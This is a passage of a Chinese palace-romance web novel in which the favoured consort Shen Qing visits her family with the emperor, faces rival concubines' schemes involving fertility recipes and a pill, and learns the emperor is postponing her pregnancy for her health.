李雁拉住沈青进屋,待坐下,这才松开手,又让人去将最好的茶叶拿出来,给纪宸泡上。 沈青摸着被李雁握过的手腕:“娘,您手劲儿可真大。” 她骨头都要碎了,幸而在避暑山庄多有锻炼,不然凭着近几年养尊处优的生活,还真不一定能受得住。 纪宸拉过沈青的手腕检查,帮沈青揉了揉,却不好说什么。 李雁道:“是你皮肤嫩的跟豆腐似的,我拎蓉妹和婉妹都没什么事。” 蓉妹和婉妹顿时露出一言难尽的神色。 李雁笑了笑,笑容明媚,任谁都能看出她心情很好。 这时,沈父与五弟也从书房走出来了。 沈秀秀道:“在月初父亲收到信后,便将自己关进了书房,与五弟一同读书,除了用膳时等闲见不到人。” 一家子聚齐,虽这是沈家,但仍旧以纪宸为主。 沈父的阅历多,见到纪宸知道该做什么,不过他还未行礼便被纪宸先一步拦了下来。 纪宸道:“在宫外,不必拘束。” 何必因为行礼这等小事,坏了气氛。 沈父受宠若惊,决定这件衣裳不用洗了,等皇帝一走,他就供起来,每日拜三拜,当传家宝。 其他人也松了一口气,笑容也更真心实意了。 他们原本还担心沈青青在宫内不好过,但现在皇上爱屋及乌待沈家人都这么宽容,对沈青青自然也不会差,心中放心了许多。 沈青正侧着脸和五弟说话,问他课业如何。 沈萧萧常听二哥与两位姊姊提起大姊,这个月提起的次数更多,加之他人小,其余人又没明说阿姊身边的是皇帝,便没什么拘束地聊了起来。 气氛也因此活跃起来。 看着如仙露明珠般风神秀逸的沈家人,纪宸不意外沈青为何会长的这么好了。 沈青被围了起来,直到众人知道她在宫中过得如何富贵,住处如何大,宫人如何多,膳食如何丰富,这才心满意足止了声。 “咦,父亲和……去哪儿了?” 沈青没说清楚,但大家都知道这是指得谁,沈秀秀道:“他们去书房聊了,爹不让我跟着,说我年纪小。” 沈秀秀心道,他虽年纪小,但比爹靠谱了不知道多少啊。 他爹就是想和皇帝单独相处,才不让他去! 第82章 第82章昭仪七日 到用午膳时,纪宸和沈父才从书房走了出来。 沈青坐在纪宸旁邊,低声问:“您跟臣妾父親聊了什么?” 纪宸道:“你的家人都不愚钝,甚至为了你也都有了上进心,既如此,朕也不吝啬指点一二。” 沈青轻眨了眼睛,有些明白了,纪宸因为她想扶持沈家。 若沈家人争气,前途必不会差。 沈青心里泛起感动,在太监验了饭菜没问题后,親自给纪宸布了膳。 她平常可没这么体贴,都是各吃各的,因为什么这么做简直一目了然。 纪宸很受用,面上没表现出来,但将沈青布的膳都用了。 沈家人这一顿饭则吃的胆战心惊,雖然没有平日那样放开了的恣意,但日后想起,记忆最深的绝对会是今天。 他们跟皇帝一起用膳! 够吹很多年了。 但沈家人普遍低调,不会宣扬出去,只是在心中碎碎念却是必不可少了。 用过膳,纪宸便帶沈青离开了。 沈青不怎么难过,纪宸能帶她出宫一次,也必然会有第二次。 今日纪宸可是纡尊降贵和沈家人在一个桌子上用了膳,对她对沈家的态度就很明確了。 因为来得匆忙,沈青并未准备什么,便将手鐲和玉佩留给了沈家人,幸而她今天戴的是金鐲子。 沈青这般想着,记着这些东西不是纪宸送的,这才放心挥别了沈家人。 回宫的马车上,沈青整个人都赖在了纪宸身上。 脸上的笑意怎么也压不住,漂亮的眼睛更是充满灵气,犹如被注入了一股生机。 纪宸摸着沈青空落落的手腕,最爱财的姑娘居然连金镯子都留下了,足可见沈家人在她心中的地位。 【也不怨最初连皇帝都不稀罕,实在是有沈家人在,心里富足。】 纪宸喟叹中夹杂了些許怨念。 沈青也不心虚,她现在稀罕啊。 两人的想法在片刻之间闪过。 纪宸道:“朕讓钱繼给你的家人备礼了。” 他也不是不通晓人情世故。 沈青听出了他的言外之意,笑眯眯道:“臣妾高興地都没注意到,好在留给弟弟妹妹的东西不是皇上送的,不然臣妾现在就该心疼了。” 他大方道:“朕给的也可以送。” 沈青才不会信他的话,纪宸在这方面一贯小气,给她的东西都心里有數,也不是惦记着要回来,而是看她佩戴了几件。 若她佩戴地多了,他心里就会很满足,然后更有动力给她搜罗好东西。 若是身上一件也没有,纪宸就会从别处讨回来。 等到她精疲力尽,才会状似无意地问一句,怎不见你佩戴那件首饰。 一般这个时候,沈青脑子都转不动了,也不会委婉讨他欢心,自是有什么说什么。 回答的纪宸满意了,这事便算完,不满意了,他自己又要气闷。 他气闷的时候也好玩,会在心里认真地对自己说上一句,朕实在生气。 当然,有时候生气也会一点心声都不透露。 但沈青偷瞄一眼纪宸的眼睛,便知道他现在是高興还是不悦,人的眼睛没有辦法骗人,即便纪宸常伪装的很好,但眼神的细微变化还是有的。 譬如现在,纪宸就很高興。 沈青义正言辞道:“可臣妾小气,皇上送给臣妾的,臣妾才不会转送他人,好好宝贝还来不及呢!” “骗子。”纪宸挑眉,眼中和嘴角都透露着愉悦,淡声道。 被戳破了……沈青微微红了脸,笑意不减:“是皇上送的太多,臣妾宝贝不过来,所以平日才显得对这些平常。但比起皇上送的珠翠首饰,臣妾更喜欢送东西的人。” 她的目光真诚,看向纪宸。 甜言蜜语动人心肠,何况纪宸本就喜欢沈青这个人,只会覺得心脏泡在了蜜水里,浸满了。 “今天很开心?”他问。 沈青亲了纪宸一口,哼笑道:“您明知故问。” 若非身份不允許,她都要高兴地跳起来,手舞足蹈了。 她见到了思念已久的家人,吃到了熟悉可口的饭菜,得到了弟妹敬仰的目光,更確信了她在纪宸心中的特殊,且这些都是在一天之内发生的。 沈青开心,人也变得甜美可口了许多……纪宸这么想着,手摩擦着她的脸颊 ,满意地细细品尝佳人的唇瓣。 是带着甜味的口脂。 回到宫中,沈青又在乾清宫呆了一会儿,这才回到她的承乾宫。 又几日风平浪静,后宫众人探不到皇上的行踪,自是没发现他们甚至出宫了一趟,只數着沈青去御前的次数。 在沈昭仪之前,是少有嫔妃到御前去的,多是派人送些汤汤水水,免得皇上忘了自己,也不招皇上厌烦。 且她们若去得多了,耽误了政事,那可不是小事,纵使皇上没发作,太后皇后却是会罚的。 但沈昭仪不同,她去御前,次次皇上都能同意她留下来,给她做脸面。 而太后皇后,在去慈宁宫请安后,众人就发现了太后待沈昭仪极为温和,甚至引了贤妃侧目,雖没有过分亲近,但就凭这个态度,已经很难得了。 至于皇后,沈昭仪越招摇,她越高兴。 可不是,一个有寵无子无家世的嫔妃为她所用,她们是皇后她们也高兴。 沈青在后宫拉的仇恨不止一星半点,除了她经常被纪宸召去御前伴驾,就是纪宸至今没翻除了她之外的绿头牌。 这已是临近十月了,从六月开始算,整整四个月,皇上都没进后宫了。 玉嫔的晴芳居中,嫣婕妤罕见造访。 玉嫔听到通传,诧异之余也不意外了,如今沈昭仪独寵,她与嫣婕妤在避暑山庄的默契便一直存在。 她原以为回宫后这种局面会有所改变,但没想到皇上会全凭自己心意行事。 而皇后德妃贤妃已经无寵,又早早养了皇子在身邊,德妃贤妃除了看不惯沈昭仪,会拿着此事敲打她,并无替她们出头的心思。 没有沈昭仪时,她、嫣婕妤、楚贵人算是最得宠,其次便是蘭婕妤与陈美人。 楚贵人不知她怎么想,但蘭婕妤和陈美人这段时间却沉寂了下来,陈美人不爱找蘭婕妤不快了,蘭婕妤也爱往承乾宫跑了。 玉嫔至今想不明白兰婕妤为何要与沈昭仪亲近,她不是最看不上宫人吗,怎么会亲近一个宫女出身的沈昭仪? 嫣婕妤进到屋内,给玉嫔行了礼,玉嫔站起来虚扶了她一把。 嫣婕妤坐下后并未直接道明来意,而是道:“嫔妾没想到进宫不过一年,便不被圣恩眷顾了。” 她的语气带着寂寥,玉嫔雖感同身受,但也不以为意,她道:“当年杜婕妤那么得宠,嫔妃们都得避她锋芒,最终却落得那般下场,至今仍在冷宫苦熬。可见皇上的心意……焉知沈昭仪不会步了杜氏的后尘?” 皇上最是薄情,眼里揉不得沙子, 嫣婕妤没被冷待过,玉嫔却是经历了好长时间出不了头的日子,因此也更稳当。 嫣婕妤眼底露出了锋芒:“嫔妾入宫时间不长,只恨没有辦法算计到沈昭仪,您难道就没有办法吗?” “至少别讓沈昭仪在承乾宫那般好过。”她垂眸,指甲扣向手心,显得有些焦躁。 “我?”玉嫔冷笑,“承乾宫的事宜是御前的王公公操办的,本嫔又如何能伸得了手?” 嫣婕妤不快:“那收买沈昭仪身边的人呢?” 玉嫔告诉她:“便是承乾宫最不起眼的末等宫人,也不是你我能收买得了的,他们纵然不忠心,有御前的手段在,也绝不会背叛沈昭仪。” 嫣婕妤的眼睫一动,当初她的事若繼续查下去,未必找不出算计她的人。 不过前段时间她意外得了消息,消息暗指是玉嫔在算计她。 而她想过后覺得不无可能,便有了今日的试探。 沈昭仪身边玉嫔不好伸手,那她去年时候呢,虽很风光,但根基浅,对身边宫人的来历一概不清。 皇上又不会为她像对沈昭仪这般周全,可不就给了某些人在她身边安插人手的机会吗? 可她与玉嫔无冤无仇啊! 嫣婕妤将指甲纳入手心,继续道:“沈昭仪当真可恨。” 玉嫔赞同道:“恩宠本就这么多,她却连口汤都不留,皇上竟也纵容了……真是不公平。” 嫣婕妤闻言,更确定了玉嫔的心思,沈昭仪比她强了不少,却也肖似她去年的经历,她一入宫也是立刻得了皇上宠爱,可不就引起了玉嫔的忌惮么。 确定了此事,嫣婕妤不急着回敬玉嫔,而是商讨如何对付沈昭仪。 一是降低玉嫔的警惕心,二是沈昭仪实乃大患,不能不除。 嫣婕妤道:“皇上莫不是想等沈昭仪怀孕,才会翻其他人的牌子?” 玉嫔沉吟后觉得不无可能,她冷笑一声:“真怀孕了,那几位可不一定能容忍得了她。” “嫔妾这里有一张生子良方,只是对母体有些损伤。”嫣婕妤低声道。 玉嫔微惊,眼中缓缓亮了起来。 此时的承乾宫,沈青也正在与兰婕妤说话。 兰婕妤道:“陈美人的陈家门楣低,却没想到还藏污纳垢。” 沈青疑惑,问询地看向她。 兰婕妤的语气中带着怒意:“陈家那个老匹夫,当年中举后为了能有官做,贬妻为妾,又娶了恩师的女儿,这才谋得了一官半职。可怜陈美人,她娘为陈家操劳半辈子,却被此事气死过去,草草下葬,为了不讓恩师失了面子,硬是将贬妻为妾进行到底。” “许是知道这事不光彩,陈家便一直声称陈美人的娘从始至终都是妾室,若非如此,嫔妾家里也不会查了这么久才查清楚。” 沈青也被惊到了,怪不得陈美人屡屡得罪兰婕妤,她猜过陈美人是与家中关系不好,却没想到是这个缘由。 沈青冷冷道:“畜生不如。” 转而,她默了一默:“陈美人真是可怜。” 兰婕妤看了沈青一眼,也道:“是可怜。” 两人相视一眼,不约而同道: “本宫不想怨陈美人了。” “嫔妾觉得陈美人也不是那么可恨。” 沈青面上泛起笑意,陈美人也只是打探了一句她的家世,许是掂量沈家能不能对付陈家。 得知不能,失望了,也就不再问。 而兰婕妤,因为陈美人惹她,她就让家里出手打压陈家,因此即便陈家在宫中有一位后妃,也没尝到半点好处,反而频频被针对。 每每打压了陈家,兰婕妤便会高兴,觉得出了气,这一闷一乐,虽恼人,但真没到不死不休的地步。 兰婕妤道:“嫔妾已经让家里给陈家教训了,以前还担心打压太过陈美人会闹到皇上面前,现在却没有后顾之忧了。” 沈青倒可以将此事当作趣事说给纪宸,陈家当官可不清白,但她虽有这个意思,却没有明说给兰婕妤。 后宫妃嫔不得干政,话一出口传到其他人耳中,不就是给旁人递她的把柄? 沈青问:“那对陈美人的态度呢?” 兰婕妤哼了一声:“嫔妾想着,即便如此也不能让陈美人这么好过,先冷她一冷,让她实实在在忐忑一番。” 陈美人分明是仗着聪明,耍她玩儿呢! 她也不是好性儿的人,自不可能轻易翻篇。 沈青弯唇,觉得兰婕妤虽总冷着脸,看着极为高傲,但人是可爱的。 第83章 第83章昭仪八日 关于纪宸不去其他嫔妃那里,沈青一点不自在都没有。 她不是皇后,不必贤惠,況且皇宫皇帝最大,后宫也没有纪宸非睡不可的人物,嫔妃大多家世平平。 家世最厉害的皇后与德妃,也没有说能迫使皇上做事。 所以想争寵的嫔妃压根没有动讓皇上改变想法的心思,因为知道 是天方夜谭,反而铆足劲想把沈昭仪拉下来。 为此,沈青不得不更加谨慎,无论是入口的东西,还是常去的亭子,都会讓人检查一遍。 这也还好,她只需吩咐一句,底下的人便能将事情办得极为妥当。 晚上,圣驾到承乾宫。 沈青早早梳洗过了,乌发用根簪子随意簪住,穿了件简单的玉色衣裳,两名宫人提着灯,她便站在廊下等纪宸。 灯下看美人,有一种朦胧的美。 她本就白皙的肌肤像被扫了一层柔光,露出的锁骨纤细而柔美,微垂着眼,长长睫羽落下,产生两道阴影,讓人看不清她的眼神,反而更显乖顺。 纪宸刚走近,便看到了这一幕,沈青也似感應到了什么,抬眼一看,盈盈行了一礼,眼中绽放出光彩:“臣妾参见皇上。” “天冷,怎么不穿厚些?”纪宸在找钱继要来披风与进到屋內,选择了后者。 这里与殿內不过几步之遥,纪宸拉着沈青的胳膊,加快了几步。 沈青道:“只是在这儿站了一会儿,并不久,況且臣妾觉得这身衣裳好,便想讓皇上也看一看。” 纪宸甚至没回头。 【锁骨很漂亮。】 沈青惊讶于纪宸的反應速度,问他:“皇上觉得臣妾这身衣裳如何?” 纪宸拉着沈青在床邊坐下,暖着她的手,目光落到她瓷白的臉庞上,道:“将你的肤色衬得像白珍珠,白皙有光泽。” 沈青开心了,手指抚过锁骨。 纪宸目光掠过,很一本正经地没有停留很久。 一如往常他们闲聊着。 “爱妃和兰婕妤交好?” 后宫的动向瞒不过纪宸,更何况是关于承乾宫,关于沈青的。 沈青点头:“臣妾觉得兰婕妤直率,和她聊天很有趣,别看兰婕妤冷着臉,但心是好的。” 纪宸:“你看人的眼光,朕很放心。” 他已经不记得他是为什么疏远兰婕妤,可能兰婕妤不知道什么时候冒犯了他。 但是下次大封后宫,可以添上她。 兰婕妤是后宫难得心思浅显又不蠢笨的人。 明白纪宸对兰婕妤的评价,沈青便顺势将陳美人的事引了出来,神秘道:“陛下,臣妾今日听闻了一件趣事,您要不要听?” 纪宸刮了下沈青的鼻尖,語气寵溺道:“莫要卖关子了。” 沈青将陳家的事说了出来,瞧着纪宸沉思的模样,暂时琢磨不透,便語调輕鬆道:“所以臣妾和兰婕妤都决定要好生冷陳美人一段时间,陈美人可怜是可怜,也不能戏耍兰婕妤,招惹臣妾啊。” “……做的很好。”纪宸哪里不明白沈青这是为了陈美人来跟他鸣不平了。 别看掩饰的很好,但小眼神仍是不由自主观察着他的神色。 他倒不会因这等小事而大发雷霆,前朝后宫又怎么可能真正分开,况且这件事原就是陈家做的不地道,高家为了兰婕妤霸道了些。 而沈青,正直心善,不计前嫌帮陈美人。 不过一想到陈美人提起沈家,即便沈青不在意,他心里却不舒坦,不必多想便知道一些人会在背后如何议论沈青的家世不起眼,而平生出优越感。 纪宸不由问:“若旁人的言語以下犯上冲撞了爱妃,爱妃该当如何?” 沈青愣住了,这春宵一刻值千金,纪宸居然来考问她? 她绞尽脑汁:“辩得过便辩,辩不过,臣妾恼羞成怒了就让白桃出手教训对方,当然,若是对方位份只比臣妾差一点,或是比臣妾高的,臣妾……臣妾便请皇上做主!” 最后一句话,羞涩中带着一点骄傲。 纪宸有些不满意,虽然听着很得宜,但:“太老实了。” 沈青谦逊请教:“那皇上说,臣妾该怎么办?” 【气焰要嚣张,眼神要居高临下像看灰尘,不必多费口舌,撞上了直接让宫人出手,若是高位嫔妃,宫人不好出手,便亲自动手出出气,至于之后,自是朕来善后。】 【朕还能委屈了沈青?】 但这唯一的问题是: “爱妃太溫柔了,学不来。”纪宸无奈道。 学得来学得来! 皇帝的滤镜太厚,有时候也不是那么好。 沈青没有闹着纪宸将这话说出来,溫柔就温柔吧,反正是她占便宜。 她将手臂轻巧支在纪宸的肩膀,另一只手落在纪宸的衣襟,輕柔地扫过他的喉結,目光落到他的侧臉,唇角轻扬,缓缓靠近。 亦压低了声音咬字道:“臣妾也不止温柔。” 纪宸掐住沈青纤细的腰肢,不否认:“对,还娇气的厉害。” 他还没怎么样,眼泪就止不住了,什么埋怨话都敢说出口,就这,还敢勾引他。 纪宸的目光落到沈青的锁骨上,只觉口干舌燥。 …… 翌日,纪宸上朝走后,沈青也没起,白桃给她端来了茶水,她喝了两杯,这才缓了过来。 唯一能让她保持清醒的,大概是不能不去给皇后请安。 白桃扫了一眼自家娘娘的脖颈,让人准备了一套高领宫装,好在早已入秋,这么穿并不引入注意。 请安无非是那翻来覆去的一套,德妃和贤妃总不忘敲打她,一天一个人轮着来,沈青自不会坐以待毙,皇后等三人的机锋打完,这才出声。 至于其余嫔妃的酸言酸语,沈青学着德妃和贤妃似笑非笑的样子,这些人说着说着声音便小了下来。 她也想像纪宸那样略微阖眼,别人就不敢多言,但一些嫔妃实在不会看眼色,她这才表现地如此明显。 请安結束后,经过一处景致颇好的地方,沈青让人落了轿,也不嫌累,带着白桃欣赏了起来。 宫人来来往往。 沈青一侧目,便见玉嫔与兰婕妤碰了面。 请安结束就这么几条路,碰面实在容易,沈青无意偷听,只是一失神,还没来得及走,便听玉嫔提起了她。 “兰婕妤,本嫔有一事实在想不明白,沈昭仪原本是宫人,出身低微,你不是最看不上这类人嗎?怎还愿意同她交好?” 兰婕妤本来不明白玉嫔以前都绕着她走,不屑理会她,怎么今日碰巧撞了上来,原来是因为这事。 “玉嫔这话糊涂,沈昭仪比你我位份都高,敬着还来不及,为何会看不上?” 玉嫔笑道:“倒不知兰婕妤有两副面孔。” 兰婕妤对待宫人那种高高在上的姿态,任谁都能看出嫌弃,从小伺候她的人,也未必能得她一笑。 兰婕妤更听不明白了,冷着脸看向她。 玉嫔便将此事说得明白了些。 兰婕妤顿时更诧异,理所应当道:“他们是仆我是主,没有让主子笑脸相迎的道理。” 她笑与不笑,干玉嫔何事? 说得她对玉嫔笑过似的。 “况且,若嫔妾真是玉嫔口中的人,玉嫔您的卫家仿佛也是商贾,只不过生意做得大些,若不是有太子府的资历,还真不一定能入宫。” 兰婕妤平铺直叙:“宫里不看家世出身,而看位份高低,这是嫔妾入宫前就懂的道理,玉嫔未免将位份看得太过儿戏了。” 说到看不起,更像是玉嫔看不上沈昭仪,才如此出言。 沈昭仪位份高,是有道理的,没看皇上偏爱她到哪种程度嗎?兰婕妤真想不明白,都这样了,玉嫔口中沈昭仪仿佛仍是不值一提。 她知道皇上的独宠意味着什么吗? 玉嫔被她说得脸面全无,正欲生怒,却看到了旁邊站着的沈昭仪,不知她在这里听了多久。 于是一笑了之:“原来是给沈昭仪表忠心,无怪乎兰婕妤能说出这般话。” 沈青原本也没想藏,见此,走了过来。 她比玉嫔高些,气势也更盛,因此她拿帕子垫住手指抬起玉嫔的下巴时,旁人眼中没什么意外之色,玉嫔身体一僵,没反应过来便 落入了如此境地。 好似她是沈青手中把弄的小玩意儿。 一时羞红了脸。 “玉嫔该唤本宫昭仪娘娘。”沈青看着玉嫔羞愤的眼睛,勾唇,饶有兴趣道,“都是宫里的老人了,怎规矩还这么差,若以后再这样语出轻佻,本宫就该把玉嫔带回承乾宫好生教导一番了。” 玉嫔比沈青大好几岁,现在却被年岁资历都不如她的沈青这般对待,可想而知心中羞恼。 然而沈青的手劲儿大,她一时竟挣脱不开,一边后悔不该这样招惹沈青,一边嘴上不饶人道:“皇上知道昭仪娘娘在后宫这样胁迫嫔妃吗?” 玉嫔平时不是这样不冷静的,而是今日被兰婕妤与沈青接连这么对待,好歹也是嫔位,自然有脾气。 沈青这才鬆了手,对手上的帕子有些为难。 这时,白桃摊开双手,她自然而然将帕子交给了她。 玉嫔看着沈青松开帕子的嫌弃模样,更气了,明明是她先出的手,她还没说什么,沈青便敢这么嫌恶,真是可恶。 沈青挑眉,不以为意道:“今日之后皇上便知道了。” 仗着恩宠如此嚣张,偏偏她这话还叫人无法反驳。 然而这事即便闹到皇上皇后面前,他们也是偏心沈昭仪的,玉嫔深吸了一口气,低头道:“今日是嫔妾不对,嫔妾知错了,昭仪娘娘大人有大量,能不与嫔妾计较吗?” 沈青微微一笑,看着高深莫测,实则困都要困死了,还得表现出十足精明的模样震慑住玉嫔。 不然,当她是泥捏的吗? 她看向兰婕妤,不知兰婕妤对此满意了没。 因为她,兰婕妤被玉嫔拦下说了一堆莫名其妙的话,兰婕妤这人,除了对皇上,谁还能得她一个笑脸?真不知道玉嫔是怎么从兰婕妤冷着的一张脸上看出她种种心思的。 兰婕妤受宠若惊,沈昭仪不过十六七岁,竟然将她给护住了。 她自没什么不满意,自玉嫔得宠后已经很久没看到过她低头了。 沈青见此离开了此处。 玉嫔与兰婕妤对着沈青的窈窕背影垂眸行礼后,这才散了。 今天不知什么日子,一个接一个嫔妃出现在沈青面前。 沈青下午歇好后,刚抚上琴,便听宫人通报宣貴人来了。 她虽心中诧异,但也没有不见宣貴人。 此时离秋狝已经过去一个多月,除了在坤宁宫能见到宣貴人,其余时候根本就与宣貴人碰不着面。 宫内说大不大,能这般自然是宣贵人特意避开了她。 宣贵人进来,沈青已经让人将琴收了起来,并让宫人备茶,在宣贵人对她行礼时,仅是伸手虚扶了一把。 连起身都没有,宣贵人见此明白了,沈昭仪不是一点甜头或是示好便能打动的女子。 她与沈昭仪在秋狝时的些许情谊已经不剩什么了。 宣贵人温和笑道:“嫔妾方才好似听到了琴音,昭仪娘娘是在抚琴?” 沈青微笑道:“不过闲暇时学一学,消磨一下时间。” 琴棋书画中,唯独她对琴还算喜欢,其余的,不是不想费脑,便没有耐性。 至于学舞,纪宸倒很期待,她是坚决拒绝的。 学了琴还能和纪宸的萧合奏,也雅致一些,学舞,遭罪的就只剩自己了。 宣贵人语气欢欣:“娘娘有如此雅兴,自然是极好的。” 沈青与她一人一句地说着话。 直到宣贵人忽然转了语气,沈青便知道,来了。 宣贵人今日来找她,还放低姿态,自然是有目的。 沈青凝神,只听宣贵人道:“嫔妾这里有一张生子的好方子,能一举得男。” “……” 沈青的眼神瞬间松懈下来,比起心动,她更想摇着宣贵人的肩膀科普,不科学! 第84章 第84章昭仪九日 沈青都不知道该说什么了。 她这么年輕,又才成为嫔妃,圣眷正浓,不好好享受几年简直对不起自己。 怎么会着急这种事? 怀孕的事于她而言说起来都尴尬,更不必说刻意求子了,即便她真到了非要不可的地步,也不会吃任何方子,只会催促纪宸出力。 她每隔几日就会请一次平安脉,身体十分健康,且皇帝也不是不能生的,只需顺其自然。 至于生男生女,皇室中公主是什么很不尊贵的角色吗? 沈青稍微想想便能明白宣贵人进献方子打的什么主意。 并非真为她好,若她此时怀孕,不仅将纪宸推给了别人,有皇子的德妃贤妃也恨不得将她除之而后快,皇后也会怀疑她是否有了自己的小心思。 即便她自信能将自己保护好,也不愿意此时涉险。 她还没到适合怀孕的年龄! 而于宣贵人,即便考虑到了这些后果,可能也不以为意,毕竟她这可是“好心”,指摘不出什么。 如果沈青能顺利怀孕并生下孩子,会記她一个人情。 若不能怀孕,反倒坏了身子,那又干她何事?不过是好心办了坏事。 若中途出了差錯,就更不能怪在她身上了,实在是沈青无福。 百利而无一害,而宣贵人只需要贡献一个方子。 更别提她还特意点出能生男孩,生怕沈青不动心,足见其撺掇之意。 若换了旁人早就被宣贵人的一片好心打动,即便不会用方子,也会記下宣贵人的人情。 但沈青又不是不知事的小女孩,心中觉得好笑的同时,也有些意興阑珊。 叹道:“宣贵人是聰明人。” 聰明人算计起来也更用心险恶。 宣贵人聞言眉梢微變,略觉不妥,但笑意未變,只当沈昭儀这是夸赞了。 宣贵人妙就妙在这,即便沈青明白了她的算计,也没法直接回击。 人家是好意,她若拒绝便是不看重皇嗣,焉知宣贵人会不会无意把她的话宣扬出去? 若是不拒绝,无形中便承了她的情。 沈青扶着额头,沉吟:“本宫听聞宣贵人的王家曾煊赫一时,常出皇后,却有些糊涂,不知是几位皇后?” 宣贵人既谨慎,又有些骄傲:“三位。” 三位皇后,连着两朝半的岁月,其中一位还颇为长寿。 若非先皇时王家没落了,今上也未将王家看在眼里,她进宫也不会只是个贵人。 原本皇上未封后,家里还想运作她成为皇后,只可惜皇上扶持了萧氏为皇后,她也只得通过大选进宫,一步步筹谋。 沈青为難道:“并非本宫不敬三位王皇后,而是……” 明明沈青没说什么,却好似什么都说了,宣贵人捏紧了帕子。 纵然王家出过皇后,但那三位皇后于子嗣上却各有各的缺点,不是一生未孕,便是生了孩子没几年便早逝,亦或者有了孩子但没留住。 总之相当坎坷,不过既是皇后,抱养低位嫔妃的皇子,怀不怀孕其实也没那么重要,反正无论谁做皇帝,皇后都能是太后。 宣贵人一瞬间想了很多,明白沈青不信任方子,也未对她的话动心,甚至可能不屑用此手段。 沈青见宣贵人心里有数,便不再多言,点到即止,毕竟拿几位王皇后举例到底有些不敬,将方子推还给了宣贵人。 只是临了,意味深长道:“即便宣贵人有机会用,也万万珍惜自己的身子,且皇子公主皆珍贵,宣贵人莫要想差了。” 宣贵人闻言脸色一白。 聪明人都愛深思,况且沈青刚夸过她是聪明人,不至于对她说没有意义的话。 沈青这句话透露出的意思,是说她没有恩宠,她看出来了她目的不纯。 至于后面两句,被宣贵人忽略了。 宣贵人确实知道年岁不夠的女子怀孕很伤身,可没道理沈青会懂啊,她不是很早便进了宫,既如此,谁又会这般教导她? 她不是良善之人,没有必要多余为一个昭儀娘娘周全,也怀有自己的小心思。 然而,沈昭仪全看出来了。 宣贵人没有挣扎,将方子收起,不自在道:“娘娘的教诲,嫔妾记下了。” 她怎么也想不明白,为何沈昭仪会这么清醒,任谁这个年岁有盛宠,有地位,都得被冲昏了头脑,偏偏…… 宣贵人离开,原以为这事就此结束了,但又几日,沈青收到了一颗藥丸。 是旁人孝敬她,助孕的。 沈青真的没话说了,怎么没完没了,一个个巴不得她立刻怀孕,将皇上讓出来。 嫣婕妤也没想到,宣贵人会和她撞了心思,安排好藥丸后,便静待承乾宫传出好消息。 当晚,圣驾到承乾宫。 “你们娘娘呢?”纪宸到承乾宫的正殿,往日在殿前迎着的人不见了踪影,只有些宫人恭恭敬敬地候着。 白桃连忙从殿内出来,为難道:“回皇上的话,娘娘心情不好,生了一下午悶气,现在刚歇下,奴婢不好将娘娘唤醒,请皇上恕罪。” 纪宸走了进去,语气微凝:“为何下午不来报?” 白桃头垂的更低了:“奴婢们不好违背娘娘的意思。” 纪宸不再责问白桃,掀开珠帘,走到床榻边,见到了隆起锦衾。 床上的人无言,仍旧默默生气。 纪宸知道沈青没睡,探出手道:“连朕也不理了?” 沈青悶声闷气道:“臣妾岂敢。” 她转过身,落到纪宸手里,然后靠在他胳膊上。 对纪宸,她确实有些迁怒,要不是因为他……不过后宫中的人把主意打到这上面,足可见她怀孕干系重大,她想知道纪宸是怎么想的。 然后借着纪宸的手,把这股不正之风遏制住了才行。 “下午发生了什么?”纪宸看着沈青郁郁的神色,出手抚平了她的眉头。 沈青道:“下午有人孝敬了臣妾一颗药丸,说是有助孕的功效。” 她抬眼,也想观察纪宸的神情,却发现他在看她,目光一顿,又老老实实地窝在了纪宸怀里。 “愛妃吃了没?” 沈青自是道:“来历不明的东西臣妾怎么会吃。” 纪宸奖励般与沈青十指紧扣:“做的很好,那爱妃生气是气自己,还是送东西的人?” 不知是不是錯觉,纪宸的话中透着谨慎。 沈青没回答,反而提起另一件事:“旁人送不送原没什么紧要的,但前几天宣贵人来给臣妾送了一个生子的方子,两件事加在一起,臣妾便有些不痛快。” “怎么她们光惦记着臣妾的肚子,难道臣妾怀孕,皇上便对臣妾不管不顾了吗?” 说着,沈青脸颊鼓起,很不高興。 纪宸心中了然,便说了句:“朕宠你唯恐不夠。” 又怎么可能将人撂开手? 沈青看向他:“那臣妾现在都没有怀孕,皇上是不是觉得臣妾很不争气。” 纪宸不这么认为:“没怀很正常。” 沈青眼中迷茫,她万万没想到纪宸会这样说,难道是太医诊出她身体有问题,却只告诉了纪宸? 迟疑道:“这……怎么正常?” 纪宸摸着沈青的手指,语气平稳问道:“爱妃着急有孕?” 沈青琢磨不透纪宸的意思,他的心声也没透露什么信息,便按照自己的心意摇了摇头。 同时,她圆出了个理由:“臣妾想多和皇上呆在一起,非是不想有孕。” 纪宸周身萦绕的谨慎一松,瞬间舒朗开来,带着满意道:“爱妃与朕心意相通。” 接下来,便不用再百般试探沈青的心思,话也很好说出口了。 “朕问过嬷嬷了,太过年輕的妇人不适合怀孕生子,会对身体损伤很大,所以朕想等你年过二十再为朕生一个孩子。” “所以每次叫水时,朕都将东西洗出来了。” 纪宸错开沈青的视线。 不过他很快理直气壮起来,他们还年轻,此时不胡闹,什么时候胡闹? 沈青目光震惊,内心又有些隱秘的高兴,但更多的是羞赧。 纪宸方才的言行也有了解释。 “臣妾怎么不知道?” 纪宸不知道怎么回答,便道:“今晚可以感受一下。” 【每每那个时候,你都累得闭上了眼,即便有意识在哼哼,也只会觉得朕在擦洗。】 他暂时不想讓沈青怀孕,但又担心沈青会因此觉得他不让她怀孕,是不在乎她,动作自然就更小心隱蔽了。 他有心遮掩,谁又会往这事上想呢? 毕竟没有皇帝会嫌子嗣过多。 他和沈青的孩子有一两个就够了,子嗣多,生产伤身体不说,也容易引得兄弟相争。 皇位可只有一个…… 纪宸收回思绪,亲了亲沈青的额头,轻声训道:“你若下午就让人去找朕,也不会生气到现在了。” 沈青觉得纪宸的想法很危险,但很久以前,他这个皇帝就当得让人畏惧,他给予些许东西对后宫嫔妃来说都是恩赐。 他当初没选德妃当皇后,德妃纵然萎靡,对皇上不热情,也没说记恨皇上。 且纪宸从始至终对皇子的心思都不明。 皇后生了嫡长子,纪宸也从没承当过太子之位,因为这,贤妃和德妃才急于要一个孩子与大皇子相争。 不过纪宸现在虽隐隐有这样的想法,但将来未必不会改变,若三位皇子中出现一个极聪慧有才干的,不信纪宸不立为太子。 她连孩子都没有,实在不必过早担心她的孩子会卷入皇位之争,这般想着,便宽了心。 沈青撇过头,不听他的训斥。 纪宸见此,无奈哄着:“朕不说你了,实在是烦你之人的错,晚膳用了没有?” 宣贵人的方子,旁人献的药丸,都得好好查一查,里面没有旁的心思,他不信。 